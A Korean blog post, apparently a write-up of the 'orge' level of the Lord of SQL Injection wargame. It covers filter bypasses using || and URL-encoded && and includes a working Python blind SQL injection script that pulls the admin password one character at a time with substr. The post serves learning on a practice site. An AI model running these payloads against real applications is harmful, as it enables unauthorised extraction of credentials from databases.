blind sqlinjection입니다.
_, ., \가 나오면 No Hack ~_~
(), or, and가 나오면 HeHe가 나옵니다.
injection에 평소에 사용하던 것들 중 ' 는 사용이 가능합니다.
or과 and는 대체 자원을 찾아야 하는데요, 이 친구들은 ||와 &&로 사용이 가능합니다.
대충 때려보니까 id도 변경해줘야함을 느꼈습니다.
근데 and는 &&로 해보니까 안되더라구요... 이상합니다..
&& 이후로는 짤려버리는 그런상황
혹시 몰라서 url 인코딩해서 넣어봤습니다. (& -> %26)
Hello admin이 나옵니다. 이를 이용해 blind sql injection exploit을 작성해줍시다.
먼저 pw의 길이는 length로 이용해서 알아냈습니다.
length(pw)=8을 했더니 Hello admin이 나오네요.
id가 admin인 녀석의 pw를 알아내야 하기 때문에 id='admin' 이후의 것들은 and로 묶어줍니다.
그 다음 pw는 substr이나 mid로 알아내었습니다.
import requests as req
pwd=""
cookies = {'PHPSESSID':'여러분의 세션 아이디'}
string = "1234567890abcdefghijklmnopqrstuvwxyz"
for i in range(1,9):
for j in string:
url = f"https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw='|| substr(pw,{i},1)='{j}' -- "
res = req.get(url=url, cookies=cookies)
if 'Hello admin' in res.text:
pwd += j
print(pwd)
쿼리의 순서입니다.
= -> and -> or 입니다.
이 쿼리를 실행하면 guest가 나옵니다. 1=1처럼 무조건 참이 되는 조건식을 테이블의 속성 값 지정 없이 넣으면 구문을 실행하고 있는 테이블의 최상위 값을 가져오는 것으로 알고 있습니다.
prob_orge 테이블의 최상위 값은 guest에 대한 값이군요..!!
또 아래 쿼리를 실행 시켜 보았습니다.
admin이 나오네요. 이것은 pw 속성의 길이가 8인 id를 뽑아줍니다. id가 admin이라고 나오니 admin의 pw는 8자리임을 알 수 있습니다.
그럼 guest도 한 번 확인해봅니다. 17자리라고 합니다.
'보안 > 웹' 카테고리의 다른 글
los darknight (0) | 2022.03.24 |
---|---|
los golem (0) | 2022.03.24 |
los orc (lord of sqlinjection 4번) (0) | 2022.03.22 |
HTTP Method (0) | 2022.02.01 |
textarea사용하기 (0) | 2015.02.15 |
댓글